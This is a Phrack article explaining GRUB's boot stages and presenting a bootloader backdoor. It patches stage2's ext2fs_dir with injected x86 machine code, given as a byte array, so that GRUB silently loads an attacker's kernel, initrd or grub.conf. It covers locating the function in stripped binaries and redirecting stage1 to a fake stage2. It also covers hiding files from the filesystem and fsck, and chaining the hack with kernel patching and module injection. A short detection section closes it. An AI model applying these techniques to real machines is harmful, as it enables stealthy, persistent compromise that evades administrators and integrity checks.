==Phrack Inc.==
Volume 0x0b, Issue 0x3f, Phile #0x0a of 0x14
|=-----------------=[ Hacking Grub for fun and profit ]=-----------------=|
|=-----------------------------------------------------------------------=|
|=---------------=[ CoolQ <qufuping@ercist.iscas.ac.cn> ]=---------------=|
|=-----------------------------------------------------------------------=|
--[ Contents
0.0 - Trojan/backdoor/rootkit review
1.0 - Boot process with Grub
1.1 How does Grub work ?
1.2 stage1
1.3 stage1.5 & stage2
1.4 Grub util
2.0 - Possibility to load specified file
3.0 - Hacking techniques
3.1 How to load file_fake
3.2 How to locate ext2fs_dir
3.3 How to hack grub
3.4 How to make things sneaky
4.0 - Usage
5.0 - Detection
6.0 - At the end
7.0 - Ref
8.0 - hack_grub.tar.gz
--[ 0.0 - Trojan/backdoor/rootkits review
Since 1989 when the first log-editing tool appeared(Phrack 0x19 #6 -
Hiding out under Unix), the trojan/backdoor/rootkit have evolved greatly.
From the early user-mode tools such as LRK4/5, to kernel-mode ones such as
knark/adore/adore-ng, then appears SuckIT, module-injection, nowadays even
static kernel-patching.
Think carefully, what remains untouched? Yes, that's bootloader.
So, in this paper, I present a way to make Grub follow your order, that
is, it can load another kernel/initrd image/grub.conf despite the file you
specify in grub.conf.
P.S.: This paper is based on Linux and EXT2/3 under x86 system.
--[ 1.0 - Boot process with Grub
----[ 1.1 - How does Grub work ?
+-----------+
| boot,load |
| MBR |
+-----+-----+
|
+----------------+ NO
| Grub is in MBR +------->-------+
+-------+--------+ |
Yes | stage1 +-------+--------+
Yes +--------+---------+ | jump to active |
+--<---+ stage1.5 config? | | partition |
| +--------+---------+ +-------+--------+
| No | |
+-------+-------+ | | +-----+-----+
| load embedded | | stage1-> | load boot |
| sectors | | | | sector |
+-------+-------+ V +-----+-----+
^ | | + - - - < - - - + Cf 1.3
| | | +------+------+
stage1.5 +-------->------+--------->-------+ load stage2 +
+------+------+
|
+---------------<--------+
V
+-----------+-----------+
| load the grub.conf |
| display the boot menu |
+-----------+-----------+
| User interaction
+---------+---------+
| load kernel image |
| and boot |
+-------------------+
----[ 1.2 - stage1
stage1 is 512 Bytes, you can see its source code in stage1/stage1.S .
It's installed in MBR or in boot sector of primary partition. The task is
simple - load a specified sector (defined in stage2_sector) to a specified
address(defined in stage2_address/stage2_segment). If stage1.5 is
configured, the first sector of stage1.5 is loaded at address 0200:000; if
not, the first sector of stage2 is loaded at address 0800:0000.
----[ 1.3 - stage1.5 & stage2
We know Grub is file-system-sensitive loader, i.e. Grub can understand
and read files from different file-systems, without the help of OS. Then
how? The secret is stage1.5 & stage2. Take a glance at /boot/grub, you'll
find the following files:
stage1, stage2, e2fs_stage1_5, fat_stage1_5, ffs_stage1_5, minix_stage1_5,
reiserfs_stage1_5, ...
We've mentioned stage1 in 1.2, the file stage1 will be installed in MBR
or in boot sector. So even if you delete file stage1, system boot are not
affected.
What about zeroing file stage2 and *_stage1_5? Can system still boot?
The answer is 'no' for the former and 'yes' for the latter. You're
wondering about the reason? Then continue your reading...
Let's see how *_stage1_5 and stage2 are generated:
-------------------------------- BEGIN -----------------------------------
e2fs_stage1_5:
gcc -o e2fs_stage1_5.exec -nostdlib -Wl,-N -Wl,-Ttext -Wl,2000
e2fs_stage1_5_exec-start.o e2fs_stage1_5_exec-asm.o
e2fs_stage1_5_exec-common.o e2fs_stage1_5_exec-char_io.o
e2fs_stage1_5_exec-disk_io.o e2fs_stage1_5_exec-stage1_5.o
e2fs_stage1_5_exec-fsys_ext2fs.o e2fs_stage1_5_exec-bios.o
objcopy -O binary e2fs_stage1_5.exec e2fs_stage1_5
stage2:
gcc -o pre_stage2.exec -nostdlib -Wl,-N -Wl,-Ttext -Wl,8200
pre_stage2_exec-asm.o pre_stage2_exec-bios.o pre_stage2_exec-boot.o
pre_stage2_exec-builtins.o pre_stage2_exec-common.o
pre_stage2_exec-char_io.o pre_stage2_exec-cmdline.o
pre_stage2_exec-disk_io.o pre_stage2_exec-gunzip.o
pre_stage2_exec-fsys_ext2fs.o pre_stage2_exec-fsys_fat.o
pre_stage2_exec-fsys_ffs.o pre_stage2_exec-fsys_minix.o
pre_stage2_exec-fsys_reiserfs.o pre_stage2_exec-fsys_vstafs.o
pre_stage2_exec-hercules.o pre_stage2_exec-serial.o
pre_stage2_exec-smp-imps.o pre_stage2_exec-stage2.o
pre_stage2_exec-md5.o
objcopy -O binary pre_stage2.exec pre_stage2
cat start pre_stage2 > stage2
--------------------------------- END ------------------------------------
According to the output above, the layout should be:
e2fs_stage1_5:
[start.S] [asm.S] [common.c] [char_io.c] [disk_io.c] [stage1_5.c]
[fsys_ext2fs.c] [bios.c]
stage2:
[start.S] [asm.S] [bios.c] [boot.c] [builtins.c] [common.c] [char_io.c]
[cmdline.c] [disk_io.c] [gunzip.c] [fsys_ext2fs.c] [fsys_fat.c]
[fsys_ffs.c] [fsys_minix.c] [fsys_reiserfs.c] [fsys_vstafs.c]
[hercules.c] [serial.c] [smp-imps.c] [stage2.c] [md5.c]
We can see e2fs_stage1_5 and stage2 are similar. But e2fs_stage1_5 is
smaller, which contains basic modules(disk io, string handling, system
initialization, ext2/3 file system handling), while stage2 is all-in-one,
which contains all file system modules, display, encryption, etc.
start.S is very important for Grub. stage1 will load start.S to
0200:0000(if stage1_5 is configured) or 0800:0000(if not), then jump to
it. The task of start.S is simple(only 512Byte),it will load the rest parts
of stage1_5 or stage2 to memory. The question is, since the file-system
related code hasn't been loaded, how can grub know the location of the rest
sectors? start.S makes a trick:
-------------------------------- BEGIN -----------------------------------
blocklist_default_start:
.long 2 /* this is the sector start parameter, in logical
sectors from the start of the disk, sector 0 */
blocklist_default_len: /* this is the number of sectors to read */
#ifdef STAGE1_5
.word 0 /* the command "install" will fill this up */
#else
.word (STAGE2_SIZE + 511) >> 9
#endif
blocklist_default_seg:
#ifdef STAGE1_5
.word 0x220
#else
.word 0x820 /* this is the segment of the starting address
to load the data into */
#endif
firstlist: /* this label has to be after the list data!!! */
--------------------------------- END ------------------------------------
an example:
# hexdump -x -n 512 /boot/grub/stage2
...
00001d0 [ 0000 0000 0000 0000 ][ 0000 0000 0000 0000 ]
00001e0 [ 62c7 0026 0064 1600 ][ 62af 0026 0010 1400 ]
00001f0 [ 6287 0026 0020 1000 ][ 61d0 0026 003f 0820 ]
We should interpret(backwards) it as: load 0x3f sectors(start with No.
0x2661d0) to 0x0820:0000, load 0x20 sectors(start with No.0x266287) to
0x1000:0000, load 0x10 sectors(start with No.0x2662af) to 0x1400:00, load
0x64 sectors(start with No.0x2662c7) to 0x1600:0000.
In my distro, stage2 has 0xd4(1+0x3f+0x20+0x10+0x64) sectors, file size
is 108328 bytes, the two matches well(sector size is 512).
When start.S finishes running, stage1_5/stage2 is fully loaded. start.S
jumps to asm.S and continues to execute.
There still remains a problem, when is stage1.5 configured? In fact,
stage1.5 is not necessary. Its task is to load /boot/grub/stage2 to
memory. But pay attention, stage1.5 uses file system to load file stage2:
It analyzes the dentry, gets stage2's inode, then stage2's blocklists. So
if stage1.5 is configured, the stage2 is loaded via file system; if not,
stage2 is loaded via both stage2_sector in stage1 and sector lists in
start.S of stage2.
To make things clear, suppose the following scenario: (ext2/ext3)
# mv /boot/grub/stage2 /boot/grub/stage2.bak
If stage1.5 is configured, the boot fails, stage1.5 can't find
/boot/grub/stage2 in the file-system. But if stage1.5 is not configured,
the boot succeeds! That's because mv doesn't change stage2's physical
layout, so stage2_sector remains the same, also the sector lists in stage2.
Now, stage1 (-> stage1.5) -> stage2. Everything is in position. asm.S
will switch to protected mode, open /boot/grub/grub.conf(or menu.lst), get
configuration, display menus, and wait for user's interaction. After user
chooses the kernel, grub loads the specified kernel image(sometimes
ramdisk image also), then boots the kernel.
----[ 1.4 - Grub util
If your grub is overwritten by Windows, you can use grub util to
reinstall grub.
# grub
---
grub > find /grub/stage2 <- if you have boot partition
or
grub > find /boot/grub/stage2 <- if you don't have boot partition
---
(hd0,0) <= the result of 'find'
grub > root (hd0,0) <- set root of boot partition
---
grub > setup (hd0) <- if you want to install grub in mbr
or
grub > setup (hd0,0) <- if you want to install grub in the
--- boot sector
Checking if "/boot/grub/stage1" exists... yes
Checking if "/boot/grub/stage2" exists... yes
Checking if "/boot/grub/e2fs_stage1_t" exists... yes
Running "embed /boot/grub/e2fs_stage1_5 (hd0)"... 22 sectors are
embedded succeeded. <= if you install grub in boot sector,
this fails
Running "install /boot/grub/stage1 d (hd0) (hd0)1+22 p
(hd0,0)/boot/grub/stage2 /boot/grub/grub.conf"... succeeded
Done
We can see grub util tries to embed stage1.5 if possible. If grub is
installed in MBR, stage1.5 is located after MBR, 22 sectors in size. If
grub is installed in boot sector, there's not enough space to embed
stage1.5(superblock is at offset 0x400 for ext2/ext3 partition, only 0x200
for stage1.5), so the 'embed' command fails.
Refer to grub manual and source codes for more info.
--[ 2.0 - Possibility to load specified file
Grub has its own mini-file-system for ext2/3. It use grub_open(),
grub_read() and grub_close() to open/read/close a file. Now, take a look at
ext2fs_dir
/* preconditions: ext2fs_mount already executed, therefore supblk in buffer
* known as SUPERBLOCK
* returns: 0 if error, nonzero iff we were able to find the file
* successfully
* postconditions: on a nonzero return, buffer known as INODE contains the
* inode of the file we were trying to look up
* side effects: messes up GROUP_DESC buffer area
*/
int ext2fs_dir (char *dirname) {
int current_ino = EXT2_ROOT_INO; /*start at the root */
int updir_ino = current_ino; /* the parent of the current directory */
...
}
Suppose the line in grub.conf is:
kernel=/boot/vmlinuz-2.6.11 ro root=/dev/hda1
grub_open calls ext2fs_dir("/boot/vmlinuz-2.6.11 ro root=/dev/hda1"),
ext2fs_dir puts the inode info in INODE, then grub_read can use INODE to
get data of any offset(the map resides in INODE->i_blocks[] for direct
blocks).
The internal of ext2fs_dir is:
1. /boot/vmlinuz-2.6.11 ro root=/dev/hda1
^ inode = EXT2_ROOT_INO, put inode info in INODE;
2. /boot/vmlinuz-2.6.11 ro root=/dev/hda1
^ find dentry in '/', then put the inode info of '/boot' in INODE;
3. /boot/vmlinuz-2.6.11 ro root=/dev/hda1
^ find dentry in '/boot', then put the inode info of
'/boot/vmlinuz-2.6.11' in INODE;
4. /boot/vmlinuz-2.6.11 ro root=/dev/hda1
^ the pointer is space, INODE is regular file,
returns 1(success), INODE contains info about
'/boot/vmlinuz-2.6.11'.
If we parasitize this code, and return inode info of file_fake, grub
will happily load file_fake, considering it as /boot/vmlinuz-2.6.11.
We can do this:
1. /boot/vmlinuz-2.6.11 ro root=/dev/hda1
^ inode = EXT2_ROOT_INO;
2. boot/vmlinuz-2.6.11 ro root=/dev/hda1
^ change it to 0x0, change EXT2_ROOT_INO to inode of file_fake;
3. boot/vmlinuz-2.6.11 ro root=/dev/hda1
^ EXT2_ROOT_INO(file_fake) info is in INODE, the pointer is 0x0,
INODE is regular file, returns 1.
Since we change the argument of ext2fs_dir, does it have side-effects?
Don't forget the latter part "ro root=/dev/hda1", it's the parameter passed
to kernel. Without it, the kernel won't boot correctly.
(P.S.: Just "cat/proc/cmdline" to see the parameter your kernel has.)
So, let's check the internal of "kernel=..."
kernel_func processes the "kernel=..." line
static int
kernel_func (char *arg, int flags)
{
...
/* Copy the command-line to MB_CMDLINE. */
grub_memmove (mb_cmdline, arg, len + 1);
kernel_type = load_image (arg, mb_cmdline, suggested_type, load_flags);
...
}
See? The arg and mb_cmdline have 2 copies of string
"/boot/vmlinuz-2.6.11 ro root=/dev/hda1" (there is no overlap, so in fact,
grub_memmove is the same as grub_memcpy). In load_image, you can find arg
and mb_cmdline don't mix with each other. So, the conclusion is - NO
side-effects. If you're not confident, you can add some codes to get things
back.
--[ 3.0 - Hacking techniques
The hacking techniques should be general for all grub versions(exclude
grub-ng) shipped with all Linux distros.
----[ 3.1 - How to load file_fake
We can add a jump at the beginning of ext2fs_dir, then make the first
character of ext2fs_dir's argument to 0, make "current_ino = EXT2_ROOT_INO"
to "current_ino = INODE_OF_FAKE_FILE", then jump back.
Attention: Only when certain condition is met can you load file_fake.
e.g.: When system wants to open /boot/vmlinuz-2.6.11, then /boot/file_fake
is returned; while when system wants /boot/grub/grub.conf, the correct file
should be returned. If the codes still return /boot/file_fake, oops, no
menu display.
Jump is easy, but how to make "current_ino = INODE_OF_FAKE_FILE"?
int ext2fs_dir (char *dirname) {
int current_ino = EXT2_ROOT_INO; /*start at the root */
int updir_ino = current_ino; /* the parent of the current directory */
...
EXT2_ROOT_INO is 2, so current_ino and updir_ino are initialized to 2.
The correspondent assembly code should be like "movl $2, 0xffffXXXX($esp)"
But keep in mind of optimization: both current_ino and updir_ino are
assigned to 2, the optimized result can be "movl $2, 0xffffXXXX($esp)"
and "movl $2, 0xffffYYYY($esp)", or "movl $2, %reg" then "movl %reg,
0xffffXXXX($esp)" "movl %reg, 0xffffYYYY($esp)", or more variants. The type
is int, value is 2, so the possibility of "xor %eax, %eax; inc %eax;
inc %eax" is low, it's also the same to "xor %eax, %eax; movb $0x2, %al".
What we need is to search 0x00000002 from ext2fs_dir to ext2fs_dir +
depth(e.g.: 100 bytes), then change 0x00000002 to INODE_OF_FAKE_FILE.
static char ext2_embed_code[] = {
0x60, /* pusha */
0x9c, /* pushf */
0xeb, 0x28, /* jmp 4f */
0x5f, /* 1: pop %edi */
0x8b, 0xf, /* movl (%edi), %ecx */
0x8b, 0x74, 0x24, 0x28, /* movl 40(%esp), %esi */
0x83, 0xc7, 0x4, /* addl $4, %edi */
0xf3, 0xa6, /* repz cmpsb %es:(%edi), %ds:(%esi) */
0x83, 0xf9, 0x0, /* cmp $0, %ecx */
0x74, 0x2, /* je 2f */
0xeb, 0xe, /* jmp 3f */
0x8b, 0x74, 0x24, 0x28, /* 2: movl 40(%esp), %esi */
0xc6, 0x6, 0x00, /* movb $0x0, (%esi) '\0' */
0x9d, /* popf */
0x61, /* popa */
0xe9, 0x0, 0x0, 0x0, 0x0, /* jmp change_inode */
0x9d, /* 3: popf */
0x61, /* popa */
0xe9, 0x0, 0x0, 0x0, 0x0, /* jmp not_change_inode */
0xe8, 0xd3, 0xff, 0xff, 0xff, /* 4: call 1b */
0x0, 0x0, 0x0, 0x0, /* kernel filename length */
0x0, 0x0, 0x0, 0x0, 0x0, 0x0, /* filename string, 48B in all */
0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0,
0x0, 0x0, 0x0, 0x0, 0x0, 0x0
};
memcpy( buf_embed, ext2_embed_code, sizeof(ext2_embed_code));
Of course you can write your own string-comparison algorithm.
/* embeded code, 2nd part, change_inode */
memcpy( buf_embed + sizeof(ext2_embed_code), s_start, s_mov_end - s_start);
modify_EXT2_ROOT_INO_to_INODE_OF_FAKE_FILE();
/* embeded code, 3rd part, not_change_inode*/
memcpy( buf_embed + sizeof(ext2_embed_code) + (s_mov_end - s_start) + 5,
s_start, s_mov_end - s_start);
The result is like this:
ext2fs_dir: not_change_inode:
+------------------------+ +--------> +------------------------+
| push %esp <= jmp embed | | | push %esp |
| mov %esp, %ebp | | | mov %esp, %ebp |
| push %edi | | | push %edi |
| push %esi +--------< | push %esi |
| sub $0x42c, %esp | | | sub $0x42c, %esp |
| mov $2, fffffbe4(%esp) | | | mov $2, fffffbe4(%esp) |
| mov $2, fffffbe0(%esp) | | | mov $2, fffffbe0(%esp) |
|back: | | | jmp back |
+------------------------+ | +------------------------+
embed: +--------> change_inode:
+------------------------+ +------------------------+
| save registers | | push %esp |
| compare strings | | mov %esp, %ebp |
| if match, goto 1 | | push %edi |
| if not, goto 2 | | push %esi |
| 1: restore registers | | sub $0x42c, %esp |
| jmp change_inode | INODE_OF_ -> | mov $?, fffffbe4(%esp) |
| 2: restore registers | FAKE_FILE -> | mov $?, fffffbe0(%esp) |
| jmp not_change_inode | | jmp back |
+------------------------+ +------------------------+
----[ 3.2 - How to locate ext2fs_dir
That's the difficult part. stage2 is generated by objcopy, so all ELF
information are stripped - NO SYMBOL TABLE! We must find some PATTERNs to
locate ext2fs_dir.
The first choice is log2:
#define long2(n) ffz(~(n))
static __inline__ unsigned long
ffz (unsigned long word)
{
__asm__ ("bsfl %1, %0"
:"=r" (word)
:"r" (~word));
return word;
}
group_desc = group_id >> log2 (EXT2_DESC_PER_BLOCK (SUPERBLOCK));
The question is, ffz is declared as __inline__, which indicates MAYBE
this function is inlined, MAYBE not. So we give it up.
Next choice is SUPERBLOCK->s_inodes_per_group in
group_id = (current_ino - 1) / (SUPERBLOCK->s_inodes_per_group);
#define RAW_ADDR(x) (x)
#define FSYS_BUF RAW_ADDR(0x68000)
#define SUPERBLOCK ((struct ext2_super_block *)(FSYS_BUF))
struct ext2_super_block{
...
__u32 s_inodes_per_group /* # Inodes per group */
...
}
Then we calculate SUPERBLOCK->s_inodes_per_group is at 0x68028. This
address only appears in ext2fs_dir, so the possibility of collision is low.
After locating 0x68028, we move backwards to get the start of ext2fs_dir.
Here comes another question, how to identify the start of ext2fs_dir? Of
course you can search backwards for 0xc3, likely it's ret. But what if it's
only part of an instruction such as operands? Also, sometimes, gcc adds
some junk codes to make function address aligned(4byte/8byte/16byte), then
how to skip these junk codes? Just list all the possible combinations?
This method is practical, but not ideal.
Now, we noticed fsys_table:
struct fsys_entry fsys_table[NUM_FSYS + 1] =
{
...
# ifdef FSYS_FAT
{"fat", fat_mount, fat_read, fat_dir, 0, 0},
# endif
# ifdef FSYS_EXT2FS
{"ext2fs", ext2fs_mount, ext2fs_read, ext2fs_dir, 0, 0},
# endif
# ifdef FSYS_MINIX
{"minix", minix_mount, minix_read, minix_dir, 0, 0},
# endif
...
};
fsys_table is called like this:
if ((*(fsys_table[fsys_type].mount_func)) () != 1)
So, our trick is:
1. Search stage2 for string "ext2fs", get its offset, then convert it to
memory address(stage2 starts from 0800:0000) addr_1.
2. Search stage2 for addr_1, get its offset, then get next 5 integers
(A, B, C, D, E), A<B ? B<C ? C<addr_1 ? D==0 ? E==0? If any one is "No",
goto 1 and continue search
3. Then C is memory address of ext2fs_dir, convert it to file offset. OK,
that's it.
----[ 3.3 - How to hack grub
OK, with the help of 3.1 and 3.2, we can hack grub very easily.
The first target is stage2. We get the start address of ext2fs_dir, add
a JMP to somewhere, then copy the embeded code. Then where is 'somewhere'?
Obviously, the tail of stage2 is not perfect, this will change the file
size. We can choose minix_dir as our target. What about fat_mount? It's
right behind ext2fs_dir. But the answer is NO! Take a look at "root ..."
root_func()->open_device()->attemp_mount()
for (fsys_type = 0; fsys_type < NUM_FSYS
&& (*(fsys_table[fsys_type].mount_func)) () != 1; fsys_type++);
Take a look at fsys_table, fat is ahead of ext2, so fat_mount is called
first. If fat_mount is modified, god knows the result. To make things safe,
we choose minix_dir.
Now, your stage2 can load file_fake. Size remains the same, but hash
value changed.
----[ 3.4 - How to make things sneaky
Why must we use /boot/grub/stage2? We can get stage1 jump to
stage2_fake(cp stage2 stage2_fake, modify stage2_fake), so stage2 remains
intact.
If you cp stage2 to stage2_fake, stage2_fake won't work. Remember the
sector lists in start.S? You have to change the lists to stage2_fake, not
the original stage2. You can retrieve the inode, get i_block[], then the
block lists are there(Don't forget to add the partition offset). You have
to bypass the VFS to get inode info, see [1].
Since you use stage2_fake, the correspondent address in stage1 should
be modified. If the stage1.5 is not installed, that's easy, you just change
stage2_sector from stage2_orig to stage2_fake(MBR is changed). If stage1.5
is installed and you're lazy and bold, you can skip stage1.5 - modify
stage2_address, stage2_sector, stage2_segment of stage1. This is risky,
because 1) If "virus detection" in BIOS is enabled, the MBR modification
will be detected 2) The "Grub stage1.5" & "Grub loading, please wait" will
change to "Grub stage2". It's flashy, can you notice it on your FAST PC?
If you really want to be sneaky, then you can hack stage1.5, using
similiar techniques like 3.1 and 3.2. Don't forget to change the sector
lists of stage1.5(start.S) - you have to append your embeded code at the
end.
You can make things more sneaky: make stage2_fake/kernel_fake hidden
from FS, e.g. erase its dentry from /boot/grub. Wanna anti-fsck? Move
inode_of_stage2 to inode_from_1_to_10. See [2]
--[ 4.0 - Usage
Combined with other techniques, see how powerful our hack_grub is.
Notes: All files should reside in the same partition!
1) Combined with static kernel patch
a) cp kernel.orig kernel.fake
b) static kernel patch with kernel.fake[3]
c) cp stage2 stage2.fake
d) hack_grub stage2.fake kernel.orig inode_of_kernel.fake
e) hide kernel.fake and stage2.fake (optional)
2) Combined with module injection
a) cp initrd.img.orig initrd.img.fake
b) do module injection with initrd.img.fake, e.g. ext3.[k]o [4]
c) cp stage2 stage2.fake
d) hack_grub stage2.fake initrd.img inode_of_initrd.img.fake
e) hide initrd.img.fake and stage2.fake (optional)
3) Make a fake grub.conf
4) More...
--[ 5.0 - Detection
1) Keep an eye on MBR and the following 63 sectors, also primary boot
sectors.
2) If not 1,
a) if stage1.5 is configured, compare sectors from 3(absolute
address, MBR is sector No. 1) with /boot/grub/e2fs_stage1_5
b) if stage1.5 is not configured, see if stage2_sector points to
real /boot/grub/stage2 file
3) check the file consistency of e2fs_stage1_5 and stage2
4) if not 3 (Hey, are you a qualified sysadmin?)
if a) If you're suspicious about kernel, dump the kernel and make a
byte-to-byte with kernel on disk. See [5] for more
b) If you're suspicious about module, that's a hard challenge,
maybe you can dump it and disassemble it?
--[ 6.0 - At the end
Lilo is another boot loader, but it's file-system-insensitive. So Lilo
doesn't have built-in file-systems. It relies on /boot/bootsect.b and
/boot/map.b. So, if you're lazy, write a fake lilo.conf, which displays
a.img but loads b.img. Or, you can make lilo load /boot/map.b.fake. The
details depend on yourself. Do it!
Thanks to madsys & grip2 for help me solve some hard-to-crack things;
thanks to airsupply and other guys for stage2 samples (redhat 7.2/9/as3,
Fedora Core 2, gentoo, debian and ubuntu), thanks to zhtq for some comments
about paper-writing.
--[ 7.0 - Ref
[1] Design and Implementation of the Second Extended Filesystem
http://e2fsprogs.sourceforge.net/ext2intro.html
[2] ways to hide files in ext2/3 filesystem (Chinese)
http://www.linuxforum.net/forum/gshowflat.php?Cat=&Board=security&
Number=545342&page=0&view=collapsed&sb=5&o=all&vc=1
[3] Static Kernel Patching
http://www.phrack.org/show.php?p=60&a=8
[4] Infecting Loadable Kernel Modules
http://www.phrack.org/show.php?p=61&a=10
[5] Ways to find 2.6 kernel rootkits (Chinese)
http://www.linuxforum.net/forum/gshowflat.php?Cat=&Board=security&
Number=540646&page=0&view=collapsed&sb=5&o=all&vc=1
--[ 8 - hack_grub.tar.gz
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====
|=[ EOF ]=---------------------------------------------------------------=|
